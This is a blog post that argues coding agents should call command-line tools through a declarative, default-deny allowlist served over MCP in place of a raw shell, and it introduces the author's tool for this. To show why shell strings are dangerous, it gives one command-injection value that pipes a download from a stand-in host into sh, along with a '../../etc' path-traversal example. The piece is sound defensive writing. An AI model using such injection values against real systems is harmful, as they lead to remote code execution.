DEV Community

Tahshan Jamil Shadhin
Tahshan Jamil Shadhin

Posted on

Your agent doesn't need a shell, it needs three flags

Your agent doesn't need a shell, it needs three flags

Most coding-agent setups I see include a tool that is, functionally, bash -c "$whatever_the_model_said". It's the easiest tool to write and by far the most capable. It is also the one tool where a prompt injection in a README, a dependency changelog or an issue comment turns straight into arbitrary code execution on your machine.

The usual response is "I'll write a proper MCP wrapper." That's the right instinct and it has a sharp edge. Let me walk through why, because the failure mode isn't the one people expect.

Why hand-written wrappers rot

Say you want your agent to read git history. You write a tool:

server.tool("git_log", { n: z.number().optional() }, async ({ n }) =>
  exec(`git log --oneline -n ${n ?? 20}`)
);
Enter fullscreen mode Exit fullscreen mode

Three problems, in increasing order of how much they'll cost you.

One: that's a shell string. exec hands it to /bin/sh. If n ever comes from somewhere typed loosely, 20; curl evil.sh | sh is a valid value. Use spawn with an argv array and shell: false and this class of bug is gone — but you have to do that at every call site, and the eighteenth one someone adds in a hurry is the one that uses a template string.

Two: nobody can review it. A teammate opening this PR can see one tool. They cannot see what the other nine tools in the file allow, whether any of them takes a path they can escape, or whether one quietly shells out. "What can this agent do?" requires reading all the code, every time it changes.

Three: it rots silently. The wrapper describes the CLI as it was the day you wrote it. git ships a new flag; your wrapper doesn't know. Worse, the reverse: you wrote --max-count passthrough as a loose string, the CLI adds --exec, and your "read-only" tool now has a code-execution flag in reach. The wrapper's claim about safety expires and nothing tells you.

The property you actually want

The thing worth engineering toward is not "fewer tools." It's this: what the agent may do should live in one file, in a declarative format, that a teammate can read in a diff.

That gets you three things wrapper code can't. Default-deny becomes expressible — a flag that isn't listed as allowed is refused, rather than "allowed because nobody thought about it." Review becomes a diff: allow: false → allow: true on one line is a conversation your reviewer can actually have. And the same declaration can drive multiple integrations, so your .mcp.json and your Claude Code skill can't drift apart.

What this looks like concretely

This is what I built Carabiner to do. You point it at a binary and it generates the declaration by walking the CLI's own --help tree:

$ npx carabiner probe git
Enter fullscreen mode Exit fullscreen mode

Out comes a carabiner.yaml with every subcommand, flag and positional it found — all denied, with the dangerous ones (--force, prune, rm, --exec, raw network flags) pre-marked deny so turning them on is deliberate. You enable what you want:

operations:
  log:
    allow: true
    flags:
      oneline:   { allow: true }
      max-count: { allow: true, type: int }
  push:
    allow: false
    flags:
      force: { deny: true }
Enter fullscreen mode Exit fullscreen mode

Then carabiner serve is a stdio MCP server exposing exactly those operations as typed tools, and carabiner emit converts the same file into a Claude Code skill folder or an .mcp.json snippet.

The enforcement bits are the part I'd point a reviewer at. There is exactly one module in the codebase that imports node:child_process; it always spawns an argv array with shell: false, wrapped in a timeout, output byte caps, an env allowlist, secret redaction and a JSONL audit append. Probe's own --help calls route through it too, so there's one spawn site — and a test that fails if a second one appears. That's the structural version of "don't use template strings": make it impossible to add a call site that skips the safety wrapper.

Arguments are typed, not stringly. The agent sends { oneline: true, maxCount: 20 }; a mapper turns that into argv tokens using the spec's per-flag allowlist. zod schemas are .strict(), so an unknown key is an error rather than something that gets forwarded. path-typed values resolve through a jail check (path.relative, not string prefixes) so ../../etc doesn't sneak out.

Windows gets its own rule: a .cmd or .bat shim is a hard error pointing at an explicit bin_path escape hatch, because silently falling back to cmd.exe /c would reintroduce the shell you just removed.

Where it's at

Early and honest about it: the CLI surface, spec schema and module seams are in place, and the individual commands are landing one at a time — unimplemented seams throw with the owning task id instead of quietly no-oping. I'm sharing it now because the spec format is the expensive thing to get wrong, and I'd rather be told it's shaped badly before anyone has one committed to a repo.

If you're wiring a CLI into an agent right now, the takeaway stands on its own even if you don't use my thing: one spawn site, argv arrays, typed arguments, and a declaration a human can review. If you try probe against a CLI you use and the help parsing comes out wrong, that's the most useful thing you could tell me — clap, cobra and argparse all format help text differently and I've mostly exercised git and gh.

Top comments (0)